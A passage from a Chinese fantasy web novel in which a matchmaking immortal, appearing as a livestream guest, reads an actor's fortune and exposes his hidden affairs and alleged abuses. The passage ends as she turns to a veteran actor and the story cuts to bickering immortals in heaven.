她就是个小网红,你可是明星!光脚的不怕穿鞋的,她真的一门心思要黑你,在这种直播里,你能咋办?! 这蠢货…… 小冯呢? 怎么还没把他叫走?! 小冯此刻也正无语凝噎。 “姐,我真有急事,让我进去吧,或者你帮我把林哥叫出来一下,一下就行……” 易姐的助理面无表情:“不好意思,直播进行中,无关人士禁止入内,嘉宾们也不得离场。” “可是真的有急事……您看就给通融通融呗?就这一次,就一小会儿!” “直播开始前,易姐询问过各位艺人,如果有事可以暂时离场,但你们艺人说没有事情,并没有选择离开,现在已经没有机会了。” 小冯都快哭出来了。 真是神仙打架凡人遭殃,艺人和经纪人的拉扯,偏偏就为难他个小破助理,夹在其中哪头都错。 林哥也是,早点出来跟他说说呢哪怕?! 林必珩完全不知道屏幕外头那些人的焦头烂额,到了这会儿,他反倒不急躁了。 “我倒要看看你能说出点什么来……” 他双臂交叠,微微后仰靠上椅背:“说吧,怎么算?” 其余几人也都不约而同息声,专心围观起了这边两人。 在场的都没见过莺芝现场“算卦”,多多少少也是有点好奇的。 莺芝单手贴在姻缘簿的封面上,双瞳平静地望向林必珩,与其四目相对: “你要算什么?” 林必珩没忍住轻嗤了一声:“……算什么?不是你说的给我算正缘吗,现在又问我算什么,那就算正缘呗。” 莺芝淡淡颔首,旋即闭上眼,做冥想状,空着的手则摆出了掐算的姿势。 华晓识瞪大眼睛,眨也不眨地看着这边。 连络月则是借着位置很近的缘故,悄悄调整了一下角度,试图看清莺芝面前那个本子上写的是什么字。 董小棠嘴巴抿成一条线,心脏也高高吊了起来,无声地祈祷着这位飞行嘉宾可千万不能愧对了特地请她来这么一趟的功夫…… 片刻后,莺芝睁开了眼。 施尚早就按捺不住了:“怎么样?算出来小林的未来老婆在哪了吗?” 莺芝收起手,离开姻缘簿,闻言,先是点了点头,又摇了摇头。 “没算出。” 董小棠愣了:“什……” 没算出来?! 林必珩哼笑,正要说话,却听莺芝又开了口。 “因为他没有正缘——此生不会有妻。” “什么意思?”连络月吃惊,“他也是不婚者?” 弹幕上,林必珩的粉丝们却都已经闹开了。 当然,是喜笑颜开的闹。 【天哪,我们小林这辈子洁身自好,为了粉丝一辈子没结婚!】 【这就是我爱小林的理由啊啊啊】 【啊啊啊啊小林不要怕我们都会照顾你的!】 …… 包间里,林亨涛无声地松了口气。 还好。 峰回路转。 这死丫头看来还是有点敬畏心的。 直播间里,林必珩挑眉:“你的意思是,我这辈子都没有婚姻了?” “是。”莺芝坦然答道。 “凡所做所为,皆有因果。你的果,便是孤独终老。” “噗……”施尚乐了,“这种话对我来说简直是祝福!我也想听谁跟我说我会孤独终——” 他话没能说完,因为一直都表现得温温吞吞没脾气似的莺芝,竟然瞪了他一眼。 没由来的,施尚就有点心虚。 就跟小时候说“我要英年早逝”然后被爸妈长辈以眼神训斥了一样。 就…… 不说了还不行么。 他摸摸鼻子,决定绕开“孤独终老”这件事。 连络月适时插入,表达了自己的好奇: “等等,小莺,你说因果、这是他的果——那他种了什么因才能得这个果啊?” 真是个敏感的姑娘。 莺芝有些赞许地看了她一眼。 而后,她轻飘飘地询问,向着易姐的方向:“我可以在这里说吗?” 林必珩还没来得及做出反应,易姐就已经毫不犹豫给了个肯定的手势。 施尚也笑了起来:“有什么不能的,我们小林身正不怕影子斜——要是不让你在这儿说,那显得我们跟多心虚似的,你说是吧,小林?” 林必珩是骑虎难下,拒绝的话怎么也说不出口,只能顺着他的话往下:“是啊。” 莺芝点头:“那我直说了。” “你的缘线驳杂且混乱,便是此时,也有多人与你交缠勾连,此便为因——” 第44章 “成本” 【……?、!我听到了什么?】 【混乱且驳杂是什么意思,多人又是什么意思?】 【我听错了吗,这是在说林必珩吗?一上来就这么劲爆的?】 【我猜,小莺的意思就是说他搞很多人且同时搞很多人】 【我!靠!】 …… 莺芝一言落下,直播间的观众们和现场所有人一样,都陷入了短暂的静默。 不过他们人虽然没说话,但脑子却在飞速地转动着,试图理解莺芝话中的含义。 便是此时,也有多人与你交缠勾连…… 不就是说他这时候还脚踏多条船吗!! 天哪,玄学人说话这么委婉的吗? 不过等等,谁,林必珩?这确定是说林必珩吗? 林必珩年纪轻轻就是个老海王了? 林必珩脸都绿了。 先前轻飘飘又戏谑的好涵养荡然无存,他含着怒意: “你知道你在说什么吗?” 莺芝淡定点头:“我知道。” 就是因为知道,所以才要说的啊。 林必珩:“……” 他恼道:“就算这为了追求节目效果,你也不能就这样随意地编造谎言——这是污蔑!” 莺芝慢悠悠地叹了口气。 连络月围观得很高兴,到了这会儿,也是忙不迭开始替自己的电子榨菜大户说话: “污蔑你所能带来的节目效果,远没有你想象中的多啊小林同志。”她诚恳,“如果想要节目效果,小莺可以直接说我和施尚已经秘 密结婚了。” 施尚满脸问号。 什么,怎么吃瓜吃到自己身上来了。 【……我承认,连络月说得对。他隐婚了对象还是彼此才更让我感到吃鲸,吃一大鲸。】 【哈哈哈哈哈哈哈哈哈哈哈哈哈哈好给力的回怼】 【但这要是真的,其实也挺冲击啊……林必珩一直都是洁身自好的人设吧,上部剧爆了之后光速和营业对象解绑,口口声声为了粉丝们着想,私下里还能有这些……不能吧?】 【我持怀疑态度吧。感觉林必珩不像那样的人。】 …… 【我们小林当然不是啊!!!】 【我服了这女的哪来的,一张嘴就开始泼脏水?她男朋友乱搞我们小林都不会乱搞,我祝她全家都乱搞!】 【给小林竖反弹盾,他爹的各路牛鬼蛇神给爷滚。】 【工作室呢,小林的工作室呢,死了吗?还不知道出来维护艺人?】 …… 现场。 所有人当然都看到了弹幕上交叉层叠的骂战和好奇。 有了粉丝的维护和冲锋,林必珩脸色渐渐好转,但仍是神态不佳。 他盯着莺芝:“如果你现在道歉,并公开发布道歉声明,我可以原谅你,对你的荒谬行为既往不咎。” “——你要知道,造谣也是需要成本的,如果你执意要这样胡闹下去,我不介意把这场直播闹成笑话。” 莺芝淡淡抬眉,似是一笑。 “那么在你和那么多为男性女性产生缘的勾连时,有没有想过,今天,就是你所要付出的‘成本’?” 【等等等等,再等等——那么多“男性女性”?】 【……牛天下之大X,好家伙,两头通吃?】 【我还是觉得可信度不高,林必珩虽然演技垃圾了点,但看着还挺有傲气的,应该不至于吧……】 【造谣biss!造谣4全+!】 【工作室怎么还不出来辟谣!!】 【她真的不是江湖骗子吗?啥都没有就直接编?】 …… “问小莺要证据。”董小棠的耳麦里,易姐的吩咐低促简短。 既然给出了爆点话题,那就得让她再多说点,光看现在这样不行,没有一点可信度。 现在这种情况,就算上了热搜,最多也只是个“某网红公开造谣艺人多线操作”之类。 董小棠会意,立刻结束了自己的吃瓜心态,非常有职业素质地轻咳两声,插入话题: “各位——各位,先打断一下哈。是这样的,我没见过算卦,不太清楚具体情况——小莺能为我解解惑吗?” 她面带疑惑:“像是这样来算卦,你能算出来的,除了这个人未来的正缘在哪里,他目前的情感状况以外,还能看到什么吗?比如……现在情感状况的对象、的情况?” 仿佛是觉得这么问太突兀,她又自己赶紧补充了几句,“就比如一个人去算自己恋爱的后续发展会怎么样,这种,算卦的人是不是就能看到对方的对象啊?” 董小棠话还没说完,林必珩刚缓和一点的脸又拉了下去。 弹幕上也出现了成群结队声讨她的内容。 更有甚者已经开始把这场直播上升为节目组有站林必珩对家的、所以故意设计了这么一场,想坑林必珩一个大的,然后送所谓“对家”踩着林必珩上位。 一手虚空索敌的本领玩得那叫一个娴熟。 董小棠嘴角一抽,只当没看见。 “——当然可以啊!我看小莺之前的直播,都是能从算卦人看到另一半的。”赶在林必珩说话之前,连络月热心地抢答。 施尚:“呀呀呀,真的假的,我怎么不信呢。” 连络月和他一唱一和,摊手:“真的假的,问问小莺不就知道了。” 除了张逢期端着架子不掺和小辈的事儿,连华晓识都露出了期待的眼神。 莺芝轻轻摇头:“的确是能算出,但这对于他们而言是隐私,不方便泄露。” “这有什么不方便的。”施尚乐了,瞟一眼已经在暴走边缘、要不是顾忌着在公众面前的形象或许早就翻脸了的林必珩,啧啧道,“要真是那样,你说出来也算为他们做主了,估计他们自己也不知道被多线操作了。这可是替受害者伸张正义——而要是你说十个错十个,那也证明这确实是你在胡言乱语不是?” 【一只浪迹瓜田的猹:施尚说得对,小莺快说!我在娱乐圈还是相当有“人脉”的,你只要说时间段,我就能去找人给你验证一下是不是真的!】 【骂谁二次元呢:哇塞猹猹你是真的厉害啊,快,群里同步分享!】 【晚间生物:小莺不说谎话吧,既然敢说,就是有真料。】 …… 【笑死,什么真料,滑天下之大稽,一个骗子还骗出史书了。】 【有本事你就说啊,我倒要看看你能说出什么来。】 【已经准备好录音,你的直播我也全程录屏了,等上了法庭这都是证据哈^^】 【敢造谣小林,你就得付出代价,快说,说完咱们牢里见。】 …… “说个毛啊!她们脑子是被驴踢了吗?” 另一边蹲守直播的林亨涛已经被气了个倒仰。 他甚至开始迁怒于屏幕里无能狂怒的林必珩。 他自己是什么东西自己不清楚吗? 那些隐在暗处见不得人的东西,他自己就没点忌讳吗? 这也敢算卦,还敢先斩后奏瞒着他这件事!! ——愚蠢! 包间里喧天的乐声落在耳里,更让他烦躁不堪。 林亨涛大脑飞快转动着,片刻后,他从列表翻出一个人来,调出对话框,编辑了一条信息发送。 【查查红娘小莺,所有能查到的资料,速!】 莺芝对这些场外内容并不知晓,她被这么多双眼睛殷殷切切地望着,心中也是做了一番衡量。 短暂的思考过后,她看向林必珩。 “你肯承认你的错误,并向他们道歉吗?” 我道你—— 林必珩咽下脏话,目光似刀,咬牙切齿地回应:“——我没错。” 敢在这种场合承认,他就完了。 反正一个算卦的能有什么本事,最多只有一张嘴,他抵死不认就行了。 等直播结束—— 等直播结束,那才是他们的主场。 莺芝目光中有些遗憾:“如果你肯道歉,并保证去争得他们的谅解,我就保持沉默,这一卦到此为止了。” 林必珩还没回话,直播间观众先不干了。 他们蹲了这么久,就是要蹲一个实锤的,这会儿断了那怎么行? 于是乎,一干人等开始把矛头转向林必珩,激将法阴阳术什么乱七八糟的话术都拿出来了。 林必珩的粉丝们也不干了。 你造谣我家小林造谣完了,眼看到了可以打脸你的环节了,结果你拍拍屁股就想“到此为止”?做梦! 以几个跳得最厉害的大粉为首领,一众林必珩粉丝团们也开始了对莺芝的口诛笔伐,要求她无论如何也要继续说下去。 路人只嫌热闹不够大,也跟着加入不同的阵营,嗷嗷叫好。 一时间直播间弹幕滚动得连一条都难以看清。 礼物特效也是刷刷地闪。 莺芝倒不如何,林必珩已经被这些人气得胸膛起伏,脸色青了又白白了又青,估计牙都咬碎了。 最终,他一偏头,不看弹幕了。 施尚跟着瞎起哄,连络月也眼巴巴地催,华晓识不说话,只一双眼闪着期待。 董小棠无奈地笑着,做了总结:“小莺,不管是怎么样,都快结束吧——不然咱们今晚的直播恐怕是刹不住闸了。” 莺芝叹了口气。 看起来有些浅浅的失望。 “既然你不愿,那便算了。” 她停顿了一瞬,继而道: “近一年内的情况——十二个月前,某次大型聚集活动中,你与三名女性一名男性建立了联系,你们的缘线开始有交集,那天傍晚有短暂的‘潮湿’之意、我猜应是下雨;之后的半个月里,你先后与这几名人发生纠缠,加深了联系,缘线更为紧密,已经与情侣无异 ;其中有两名女性一名男性在之后三个月里被你陆续断掉、有一名女性的缘线持续至今。” “十个月前,某次十数人的聚集活动中,你与两名女性同时产生了短暂的交集与纠缠,事后并未继续联系,缘线至此截住。” “九个半月前,某次中规模聚集活动中,你与一名男性建立联系、发生纠缠,活动举办时应当是夜晚,有‘月上梢头’之象,这名男性与你的缘线至今仍在。” “期间有两到三个月,你只与一名女性一名男性建立了新的联系,他们二人地位金钱权利等都高于你,之后的数月至今,你时不时都会与他们进行会面。” “五个月前,大型聚集活动中,你与三名女性建立了联系,并与之后的一个月内陆续发生纠缠,其中,两名女性被你留到了现在。” “三个月前,某‘少光喧闹’的场合,你与一名女性发生了纠缠,与此同时,共同在场的还有两名男性,你们与她之间似乎还有一点‘财’的气息流转,后续不再有联系。” “两个月……” 现场其余众人:哦、哦豁…… 第45章 时间线 莺芝语调不疾不徐,却是如数家珍般,接连不断地道出一桩桩一件件。 在场所有人都听得快要流汗。 暂时抛开真实性不谈,只说这些内容…… 就足够震撼了吧。 这要是真的,那林必珩简直也太—— 【精力旺盛,叹为观止。】 【行程安排得好满,真的假的,林必珩这么能搞?】 【没记错的话去年他有不少工作吧,还进组拍戏了,他是怎么做到在紧锣密鼓的行程中穿插这么多“纠缠”的?】 【你们懂什么,这是时间管理大师的基本素质。】 …… 【放她的屁,胡扯八道,编谎话也编得像样点好吗?这种一眼假的料到底是谁在信?】 【再重复一遍造谣4000+哈】 【涨见识了这年头算卦全靠编哦^^】 【笑死,这么会编是不是把你男朋友的事拿出来说了。】 【工作室呢工作室呢死了吗死了吗没死出来干活】 …… 潮水一样轰轰刷上的弹幕中,观众分了大致的两派。 一派纯路人围观,一派气急指责莺芝。 毫无疑问,当下这个场合中,处于风口浪尖的并不是林必珩,而是莺芝。 因为她所说的这些,就目前来看,仍然没有任何佐证来提高可信度。 但莺芝承受良好,任由他们怎么说她造谣生事胡言乱语,她也岿然不动,只是淡淡地看着林必珩。 大有“你怎么看,不满意我还可以继续说”的架势。 林必珩气了又气,到底没敢和粉丝们一样不计代价地骂莺芝,只能一口咬死自己根本没那么做过,这是污蔑。 不过很快,先前处于隐匿中的部分资深吃瓜群众先后浮出了水面。 和他们一道出现的,还有他们手中拿出的证据。 【一只浪迹瓜田的猹:好了好了,我去借用了娱乐圈的人脉,核对结束,上正菜了!】 【一只浪迹瓜田的猹:十二个月前,应该是指去年那次晚会,林必珩还有节目的那次,据我跑其他艺人线下的姐妹回忆,那天晚上六七点钟好像下了几场阵雨,这和小莺的说法一致——晚会开场前和散场后,艺人们跟各自的粉丝都有短暂的见面会,一些后援会的管理、跟了很久的老站姐,大粉们,在布置艺人的应援花墙之类的时候,都有机会和艺人进行近距离接触。在这个时间段里和几位粉丝加上联系方式,应该是很简单的。】 【一只浪迹瓜田的猹:十个月前,这个暂时没有比较直观的事来从旁侧证,但据我的姐妹说,她们家跟林必珩家是对头,林必珩家有个大粉,总是跟她掐,那阵子那位大粉曾在一次争吵中向她提起,跟自家正主在最近见了面,并以此嘲讽她跟偶像的关系犹如陌生人——】 【一只浪迹瓜田的猹:九个半月前,“月上梢头”——这个我感觉应该不用多说,林必珩的粉丝们应该只要一回忆就知道了。我们群里姐妹们去林必珩主页看了,他在那时候发了一条动态,配了一张月亮的图片,评论区粉丝们都在猜是和谁赏月,现在看,他想说的应该是月上柳梢头的下半句吧,人约黄昏后呢。还挺文艺。】 【一只浪迹瓜田的猹:再接下来的两三个月里,他在组里拍戏,所以“只和一男一女”应该是指他没时间乱约——至于金钱地位都高于他,这很好理解,就是传说中不可说的金主爸爸妈妈吧。】 【一只浪迹瓜田的猹:五个月前……这个我想我估计就不用说了吧,他可是很高调地发了参加某次红毯的消息。还跟粉丝们大合影了。所以这三位姑娘,不出意外就都是粉丝了。】 【一只浪迹瓜田的猹:三个月前这个我是真的不知道了,姐妹们齐上阵也没找到一点蛛丝马迹,加上“少光喧闹”,更难找了。我猜应该是很隐蔽很隐蔽的一次秘密聚会,根据小莺的字面意思推断,“与一名女性”、“在场的还有两名男性”——我有一个不好的猜测……再加上“财气”……这话我不敢再说了,我怕直播间被封,也怕被帽子叔叔找上门。】 [一只浪迹瓜田的猹]的消息不是一次性发出来的,就算是提前打好的字,直接复制粘贴,每条之间也总有空隙,在如此高速滚动的屏幕里,她的消息被散在无数条弹幕之中,但胜在每条都很长,一出来就几乎是占满了大半个区域,所以相当引人注意。 有心的观众们锁定弹幕滚动速度,往上滑动查看,很轻易就能把这些内容给拼凑完全。 然后,看完她消息的观众们纷纷哗然了。 像是什么晚会下雨,月上梢头之类的,还能说是小莺有心编造所以提前去了解过相关的内容,但那个“大粉私下吵架透露”的事,怎么想都是只有内部人士才能知道的消息吧? ——小莺和林必珩完全没有交集,更没有透露过任何的“粉籍”,显然不可能知道这种事啊? 而若不是提前准备,收集资料…… 那么结果就只有一个。 虽然很玄幻很不科学,但排除掉所有的不可能,剩下那个必然就是真相了。 【她……真的能算啊?】 【妈啊,全都对上了,真的全都对上了,我有姐妹是林必珩粉丝,她今天有课没关注这些,我问她林必珩会私下和粉丝们见面吗,她问我怎么知道,她们群里只有资深的几位大粉和常追线下的富婆才知道这事儿。】 【林必珩粉丝们呢,刚刚还跳那么欢,现在出来说说,是不是真的啊?】 【感觉这事儿到了这地步,粉丝们应该比路人们更清楚内情。了解得更多,更能接触真相。】 【这会儿粉丝们咋不出来说话了?】 …… 怀疑,质疑,犹豫,相信。 观众们的情绪转变得很丝滑,屏幕上,坚持刷屏闹腾骂人的林必珩粉丝们虽然还有,但从观感上看,数量却是渐渐少了许多。 估计都去私下里询问可能知情的同好们去了。 确实,看完“一只猹”拉出的时间线和事实对照后,这部分人虽然不愿意承认,但确实心中多多少少都开始产生了怀疑—— 并非是墙头草,听了三言两语就对自己喜欢的人产生误解,开始动摇。 而是因为她们也跑过线下,或者也都是群里的资深粉丝们。 她们在平时,或多或少地,会有那么几次听到过一些人提到,在非正式场合见过小林云云。 平时她们都当是私生的笑话,同担的癔症,或者是富婆姐的运气好,没想到,原来还有这么一个可能——对方说的都是真的,以为对方在开玩笑的她们,才是真正被瞒在鼓里的笑话。 最重要的是,那个叫小莺的红娘提到了“金钱与纠 缠“。 这种东西,如果是污蔑,那林必珩这一方直接就可以暴起,完全不用顾忌是不是在直播,又或者是不是要维持友好的社交面子。 毕竟这种东西沾上就是封杀,可是大忌。 但现在…… 林必珩人都快气成河豚了,脸黑人麻的,但偏偏只说自己没做过,根本不敢直接给对方甩脸子,说要告她—— 这“弱”的表现,难道不就是一种“心虚”? 林必珩的部分粉丝们揪心了。 施尚面色古怪。 他之前开玩笑的时候说了一句“林必珩的那么多老婆”,没想到一语成谶。 ……他今天嘴没开光啊? 易姐那边,放在助理那里的电话已经快要被打爆了。 眼看助理一遍遍走进门来悄悄给她比手势,易姐起身离开,和助理做了短暂的交接。 不出意外,是林必珩那边在施压。 也有一些相关媒体们,在打探消息。 他们原本是想去找莺芝的,但莺芝人在直播间,其他的“联系方式”根本就等于没有,完全不知道去哪联系,只能都来找《家远方》了。 看着事情要越闹越大,热度总算是有了,易姐也满意了。 她给林亨涛回了一条短信,告诉他清者自清,就把人拉黑了。 不出意外的话,自此之后,没必要跟对面再处什么关系。 处理完事情,易姐回到直播间,她随意一瞟,意外发现弹幕上观众们的讨论内容又变了。 一部分人在热火朝天地聊着一个内容,林必珩则是一副如遭雷击的样子,完全没了今天录制刚开始时的意气风发。 【骂谁二次元呢:[链接我是吴姝俪,我实名举报,演员林必珩,涉嫌迷煎、逼嫖]】 第46章 退场 匆匆闪过的一条弹幕,赫然成了引爆全场的炸弹。 迷煎? 逼嫖? 这条弹幕一出,整个弹幕风向都变了。 而一大串的问号接连刷屏闪过去之后,弹幕的流速忽然就慢下许多。 不言而喻,都是切出去看链接里的内容了。 直播现场,众人也都呆住了。 这……这是什么发展? 迷煎的意思懂,逼嫖,这是个自创的新词语吧,字面意思……逼着别人嫖?还是逼着别人让他嫖? 不管是哪个,都好炸裂吧…… 看着浓眉大眼的,才二十三岁,上来就玩这么花? 脚踏多条船,男女通吃,上陪金主下搞粉丝,竟然还带嫖的——无论哪一项,说出去都让人觉得匪夷所思。 众人神情诡异,林必珩如坐针毡,也再坐不下去。 他脸色铁青,倏地站起,大步离开了画面。 临离开前,他深深地看了一眼莺芝。 换来莺芝淡淡的一瞥。 如居高临下的审判者。 说不清为什么,被那么看上一眼,林必珩忽然就有点狼狈,他收回视线,沉着脸直接往外走。 有工作人员犹豫要不要依照规章把人拦下,被易姐挥手摆开了。 让他走。 她无声示意。 事情发酵到这个地步,已经涉嫌违法了——即便他不走,她也要强行介入,要求他离场。 不然节目的直播间还要不要了? 虽然有点不道德,但说实话,难得的热度,她真的不想放过。 可惜不是给夫妻嘉宾们算的卦,不然整个节目的热度都会被带起来。 太可惜了。 直播间里,所有人都在讨论着刚刚那条链接中,那个名为吴姝俪的女性的所言所讲,热闹程度比先前还要更上一层楼。 而林必珩的突然离场,更是把这股热度直接推上了顶峰。 ——他心虚了! 他逃了! 他不再咬定自己无辜,准备离场开始团队介入了吗? 莺芝等人正在直播,也不好拿出手机翻看帖子动态,只能坐在原地,继续保持微笑,和一些弹幕进行互动。 施尚一反常态地没有多话,莺芝稍稍侧目,发现他竟然在桌子底下悄悄看手机! 其余人:“……” 你倒是多少避讳点呢? 董小棠笑容僵硬,尴尬地推进着流程——她也想去吃这口瓜,但是不行,直播还没结束,只能强行掰回场面。 “啊……刚刚稍微出了点小问题,我们的嘉宾临时有事,不得不中途退出这场直播,请大家多多谅解——那么无关的话先不说,咱们今晚的直播还要继续呢。” 她看向连络月手里的花:“这一轮的花就从月月开始了,我们再来一圈——” 连络月也压住蠢蠢欲动的吃瓜心,面无异常地道:“好啊。” 于是乎,整个直播间现场,大家又都恢复了点到即止的友好社交场面。 倒是一直不怎么掺和年轻人事儿的张逢期中途眯起眼打量了莺芝好几次。 莺芝察觉,那眼神中含着审视,不赞同,以及一些淡淡的嫌恶。 她全不在意。 敲筷子的声音停止。 “哎呀,花落到张老师这里了——那么这一轮,就由张老师来指定受到惩罚的人选吧~” 张逢期放下花,随手指向施尚和连络月:“你们喝个交杯酒吧。” 被点到的两人俱是一愣。 这个发展是完全的意料之外。 交杯酒? 华晓识讷讷出声:“可……” 他们不是情侣啊。 张逢期呵呵笑道:“游戏输了的小惩罚而已,当不得真。” 华晓识显然还想说什么,只是措辞稍微慢了一点,就已经被连络月抢过话头去,赶在她之前,把要求应了下来: “好啊,我做。张老师说得对,愿赌服输嘛。” 施尚也从愣怔中回过神来,脸上又挂上了那种万事不关己,反正什么都无所谓的笑: “哈哈,当然没问题啊,不过就是委屈小连了,跟我这么个大叔喝交杯酒。” 他今年35,连络月28,哪里就轮得上“大叔”了,摆明了是一句活跃气氛的玩笑话。 稍微有点僵住的场面被他这么轻飘飘的一句自嘲给带动,众人都笑起来。 两人也不再扭捏,当即各自端起各自的果汁杯子,简单做了个交杯。 “这才对嘛。游戏,就是要和和乐乐,以交流感情为主。”张逢期意有所指,笑道,“这才是我们华人骨子里该有的素质,搞那些乱七八糟不入流的……登不得台面。” 华晓识张了张嘴,又咽下。 脸色都涨得通红。 张逢期这话的言外之意是说谁,大家都知道。 虽然不是说她,但她觉得不对。 连络月无声息地垂了眼。 他是老前辈,资历在哪里摆着,就算说了什么他们这些小辈不认同的,也只能受着。 弹幕就没这么多顾忌了。 【晚间生物:对着人观感好差。】 【骂谁二次元呢:不能吧?原先我对他印象还挺好的,怎么今天看起来这么冲的爹味儿呢。】 【你到底说不说:教训谁呢这老登,张嘴闭嘴素质,难道聚会上让人家不婚男女喝交杯这种下三滥的性缘脑就是素质了就能登台面了?呕】 【履行摸鱼职责:林必珩的事情还未结束,新的战场已经到来——我宣布,这人今天荣登“娱乐圈大爹排行榜”,凭借实力在其中抢下一席。】 【我真没有QAQ:听说他们是模范夫妻,不如小莺给他算一卦,没准快离婚了呢?】 【给予你温油ma:靠,好笋。】 …… 观众向来不吃娱乐圈那些人拿架子的做派,隔着屏幕,看什么不顺眼,什么都敢说。 尤其是莺芝的老观众们,一个个都站出来开始阴阳怪气。 张逢期没有看弹幕的习惯,或许是觉得这些不入流,所以倒省了不少的气。 其他人就算看到了,也都会当瞎子,不会上赶着把这些话转述给张逢期。 所以场面一时倒也还和平。 这一环节才轮过两轮,还有最后一轮就能正 式结束,众人眼观鼻鼻观心,默契地继续进行。 第三轮,筷子声结束。 大家的视线齐刷刷落到了莺芝这里。 她的面前,一朵小花正静静放着。 董小棠:“啊,本轮的胜者是小莺——那小莺来出题吧!” 华晓识眼巴巴地看着,眼睛忽闪忽闪的,一副满含期待的样子。 连络月大约能懂她的意思,但还是选择性地暂时无视,并不打算开口擅自帮忙。 众人的注视下,莺芝微微沉吟。 “我不熟悉这些游戏,想不出什么好出的题——我便再出一卦吧。既然是我赢了,那这一卦的对象,便由我自己选择,这样可以吗?” 董小棠一愣,耳麦里,易姐已经急吼吼地给了答复:“答应!” 本身就巴不得她多算几卦呢,既然她都主动提出了,那必然是可以啊。 “自然可以。”董小棠点头,又笑着开口,“不知道小莺这轮打算选谁?两位不婚主义者吗,还是热恋待婚的华姐姐、或者是我?” 就算给她十个胆子,她也不敢把张逢期也放进这个选项里。 毕竟,娱乐圈谁人不知晓张逢期和他妻子恩爱不疑?从年轻时在剧组结识,一直到如今,两人携手共度,成为了娱乐圈一对有名的模范夫妻神仙眷侣。 这种情况,还提议要给他们算卦,那不是咒人家么。 而张逢期又实打实是老前辈,不是他们这些小辈可以随意打趣的。 莺芝抬眼,视线在董小棠列出的备选人里一一略过,最后,落在了另一个方向。 她道:“就老先生吧。” 第47章 “不能” 莺芝这话一出,现场还没来得及做出什么反应,弹幕就已经轰地炸开了。 刚刚凑热闹满嘴跑火车提议给张逢期算卦的那些人更是已经乐疯了。 他们一边高高兴兴夸莺芝宠粉,一边乐颠颠等着吃瓜。 就盼着莺芝能好好给这讨人嫌的老头一点小小的惩罚,比如给个这对夫妻什么时候吵大架啊之类的,下下他的面子。 也好让他知道,时代变了,拿资历和身份压人,现在的年轻人不吃这套。 等弹幕闹闹哄哄已经在开香槟,录制现场的人才渐渐回过神来。 所有人都在第一时间将视线投向了张逢期,本能地想要先看看他的态度再说话。 被大家这么看着,张逢期只是微微地蹙起了眉,稍有些不悦。 莺芝也不说话,依旧静静看着他。 静默的气氛在直播间中蔓延着,弹幕热火朝天,他们却个顶个的安静。 最后,似乎是看莺芝真的不打算再“重复一遍刚才的话”,就那么一副我已经说过了接不接看你的态度,张逢期终于开了口。 “算卦一流,都是歪理强说,但凡聪明一些,都不会被骗到。我是不知道,街头骗子的把戏,什么时候也能堂而皇之进入大众视野,成为受人追捧的东西了?” 哗—— 弹幕又一次闹翻了天。 【什么意思,他是说我们都是傻子?】 【老前辈就是老前辈,教训起人这么顺口,他说的也没错啊,就是骗人的吧】 【老登一流,都是讨人厌精,但凡年轻一点,都不会喜欢。我是不知道,本身就也是戏子的老东西,什么时候也能堂而皇之代替别人父母,成为说教地球人的大爹了?】 【上上上上……上的那位兄弟姐妹,蚝油菜花。】 【小莺的算卦跟别人的不一样啊,爆出来多少事了,到现在了还有质疑小莺能力的?】 【他到现在甚至都不看镜头一眼,咋的,难道也一次弹幕没看过、看不起我们?】 【睁开眼看看世界吧登,天早变了。】 【杠他!小莺,冲啊!】 …… 网友们说起话来,那叫一个毫不留情,嘲讽拉满。 现场董小棠连络月等人看得个个汗流浃背。 但不敢告诉张逢期,也不敢主动让他也去看看屏幕。 被张逢期这么不阴不阳地怼了一遭,莺芝不气不恼,仿佛完全没有“生气”的这种情绪一样。 她微微笑道:“信则有,不信则无,问心无愧者自心无畏惧,问心有愧者自敬而远之。” 张逢半眯起眼。 董小棠真的是大汗淋漓。 看张老师这表情,估计已经在心里骂小莺不懂事听不懂人话了。 小莺也是,干嘛说话这么不留情面…… 她就不怕得罪前辈吗?以后不打算在圈里混了? 这可怎么办才好。 耳麦里,易姐道:“给他们都递个梯子。” 董小棠心说我哪能给他们两位递啊,这俩是我能说动的人吗? 但工作重要,她还是只能硬着头皮开口: “的确哈,算卦本来就是虚无缥缈的……不过试试也没什么,权当娱乐嘛。大家既然聚在一起,也是缘分,难得可以体验一下。” “您说对吧,张老师?” 恭恭敬敬,讨好安抚。 这才是正常的态度——张逢期已初见冷厉的表情舒缓了不少。 他淡淡扫了一眼莺芝,眼里的厌恶更加明显,但看在董小棠这小后辈明事理,还是给了一个面子,顺着这个梯子走了下去。 “可以。” 而后对莺芝道:“想说什么,你开始吧。” 莺芝并不介意他的态度,也好像完全听不懂他话里的暗讽似地,一点头: “你想知道什么?” 张逢期:“?” 众人:“……” 天庭。 “哈哈哈哈哈,这仙子,有点意思啊——明明是她非要给人家算,结果返回来第一句是问人家想知道什么,我要是这个凡人,估计要怄死了。” “不过他还真是不知天高地厚啊,难道真的以为自己的阅历就是全部了吗?天外有天的道理都不知道啊,看不起玄学……嘿,他以为他接受的是哪里卦师的卦?这可是天上仙人的卦!” “……你看了多少凡间的作品?” 文隽默了又默,最终无语侧头,“还有,你的工作做完了吗?” “没有。”文桐不在意,“不急,先让我把这场看完再去!” “可是我很急。”文隽摆手,“急着让你走。” 她刚刚又是一个“不经意”的路过他的身后,然后就不走了,跟鞋底长钉子了一样,愣是扎根在他旁边了—— 而且还管不住嘴! 刚刚就一个劲在骂林必珩下半身支配上半身,比兽还兽,这会儿看到张逢期被莺芝噎住了,又开始傻乐。 ……她是生怕殿里其他尽职尽责干活的小仙君们不知道他俩在一起偷偷摸鱼吗? 文桐抱着书卷捧心,做了个伤心的表情:“你还是我兄长吗,竟然如此嫌弃亲妹。” 文隽面无表情:“不是。” 文桐:“呸。你当我是为你啊,我是为了看这位姻缘殿的仙子——别说,她直播还挺有意思的。有点耿直,和凡人相处的时候还有种天然的懵,好可爱。” 为什么说莺芝耿直,文隽懂文桐的意思。 本身莺芝这个就是假模假样的“算卦”,但她还非要遵循天地规则,让对方先提出算什么,相当于是给了她可以窥看个人隐私的“许可”—— 这原本是为了归束凡人们之间一些精通“推卦”一类的能人异士借此残害不知情的同类,所以设置了这么一个“窥看他人机缘前需要得到对方同意、才能继续进行”的规则。 也算是向上边“通报”的环节。 但莺芝,明明身为姻缘殿的月仙,根本用不着这些。 本身天地间的姻缘就都归属她管,想看谁尽管看就是了,凡人之间所谓“算姻缘”的“通报”也都是通报到她那里…… 可不就是耿直得可爱么。 文桐还在啧啧:“唉,看人家那么用功,再看看你,能偷懒可着劲儿偷懒,就是不干活,哪里配跟人家认真的卷王做朋友?” 文隽额角一跳:“……你到底什么时候走?” 